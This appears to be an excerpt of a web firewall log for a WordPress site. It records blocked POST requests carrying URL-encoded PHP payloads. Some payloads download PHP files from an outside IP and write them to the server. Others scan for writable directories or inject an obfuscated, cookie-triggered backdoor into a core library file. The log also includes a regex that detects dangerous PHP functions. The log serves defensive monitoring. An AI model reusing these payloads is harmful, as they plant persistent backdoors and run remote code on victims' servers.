HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:3865\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 21:03:13","50.6.7.129","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XP:%3C%3Fphp%20%20file_put_contents%28%27form_flashupload.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/TbtvnZqHBX%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:179\n\nXP=%3C%3Fphp%20%20file_put_contents%28%27form_flashupload.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/TbtvnZqHBX%27%29%29%3B"]
["2026-05-12 21:03:24","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yg:%3C%3Fphp%20%20file_put_contents%28%27PropertyList.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/dysMHnFyHD%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:175\n\nyg=%3C%3Fphp%20%20file_put_contents%28%27PropertyList.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/dysMHnFyHD%27%29%29%3B"]
["2026-05-12 21:03:34","41.76.213.235","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rj:%3C%3Fphp%20%20file_put_contents%28%27registerform.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/vjjBIvoovj%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpzbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:175\n\nrj=%3C%3Fphp%20%20file_put_contents%28%27registerform.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/vjjBIvoovj%27%29%29%3B"]
["2026-05-12 21:04:31","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hz:%3C%3Fphp%20%20file_put_contents%28%27payment_modules.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/HuUvjyrsIG%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnUbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:178\n\nhz=%3C%3Fphp%20%20file_put_contents%28%27payment_modules.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/HuUvjyrsIG%27%29%29%3B"]
["2026-05-12 21:04:50","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Du:%3C%3Fphp%20%20file_put_contents%28%27ot_giftwrap.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/eYuIqfTowa%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:174\n\nDu=%3C%3Fphp%20%20file_put_contents%28%27ot_giftwrap.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/eYuIqfTowa%27%29%29%3B"]
["2026-05-12 21:04:56","57.128.189.50","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27configitem.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/kqdCWPBuqz%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:196\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27configitem.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/kqdCWPBuqz%27%29%29%3B\"));"]
["2026-05-12 21:41:56","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3274\n\nGL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:41:58","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ai:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 